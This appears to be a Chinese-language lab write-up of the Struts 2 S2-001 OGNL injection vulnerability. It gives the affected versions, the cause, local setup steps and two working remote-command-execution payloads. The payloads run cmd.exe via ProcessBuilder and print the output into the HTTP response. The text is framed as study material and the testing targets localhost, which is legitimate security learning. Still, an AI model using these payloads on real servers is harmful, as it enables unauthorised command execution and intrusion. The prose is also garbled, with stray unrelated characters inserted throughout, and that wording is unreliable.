Struts-S2-001
此文僅供大家交流學(xué)習(xí)户盯,嚴(yán)禁非法使用
一屯伞、參考網(wǎng)址:
https://github.com/phith0n/vulhub/tree/master/struts2/s2-001
二喊崖、 影響版本:
Struts 2.0.0 - Struts 2.0.8
三挣磨、 漏洞介紹:
該漏洞因?yàn)橛脩籼峤槐韱螖?shù)據(jù)并且驗(yàn)證失敗時(shí),后端會(huì)將用戶之前提交的參數(shù)值使用 OGNL 表達(dá)式 %{value} 進(jìn)行解析荤懂,然后重新填充到對(duì)應(yīng)的表單數(shù)據(jù)中茁裙。例如注冊(cè)或登錄頁(yè)面,提交失敗后端一般會(huì)默認(rèn)返回之前提交的數(shù)據(jù)节仿,由于后端使用 %{value} 對(duì)提交的數(shù)據(jù)執(zhí)行了一次 OGNL 表達(dá)式解析晤锥,所以可以直接構(gòu)造 Payload 進(jìn)行命令執(zhí)行
四、 環(huán)境搭建:
仿照一下搭建showcase的方式廊宪,搭建struts2-blank-2.0.1
- 下載/struts/2.0.1
下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
如果下載失敗矾瘾,可以把這個(gè)網(wǎng)址粘到百度云使用離線下載
下載安裝xampp
部署showcase
解壓
- 復(fù)制到.
- 重啟tomcat
- 已成功自動(dòng)部署
如果想要搭建linux環(huán)境,建議大家使用參考網(wǎng)址搭建docker環(huán)境
注:Linux的命令三個(gè)字符串為:"/bin/bash","-c", "ls",docker環(huán)境內(nèi)部初始狀態(tài)不能執(zhí)行ifconfig等一些命令箭启,大家可以先進(jìn)環(huán)境測(cè)試一下
五壕翩、 POC:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
六、 測(cè)試網(wǎng)址:
http://127.0.0.1:8080/struts2-blank-2.0.1/example/Login.action
將POC粘到一個(gè)輸入框傅寡,點(diǎn)擊Submit放妈,此后會(huì)將數(shù)據(jù)提交到后端北救,后端檢測(cè)值是否為空,然后返回芜抒,滿足漏洞前提
執(zhí)行結(jié)果:
執(zhí)行ipconfig命令時(shí)還是出現(xiàn)只能輸出第一行扭倾,老問題,因?yàn)閷懙臅r(shí)候沒有安裝漏洞的順序?qū)懲旒ǎ鉀Q方法在后面有提及膛壹,簡(jiǎn)單來(lái)說(shuō)就是修改e大小,重復(fù)#d.read(#e), #f.getWriter().println(new java.lang.String(#e))
七唉堪、 修改后POC
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "ipconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)), #d.read(#e),#f.getWriter().println(new java.lang.String(#e)),#d.read(#e),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
八模聋、執(zhí)行結(jié)果
九、 至此唠亚,該漏洞基本利用完畢
本人還是一個(gè)未畢業(yè)的小萌新链方,希望大家多多幫助,有問題請(qǐng)發(fā)送郵件到xrzsupupup@163.com不勝感激灶搜,我也會(huì)盡量去幫助大家
堅(jiān)決做一名白帽子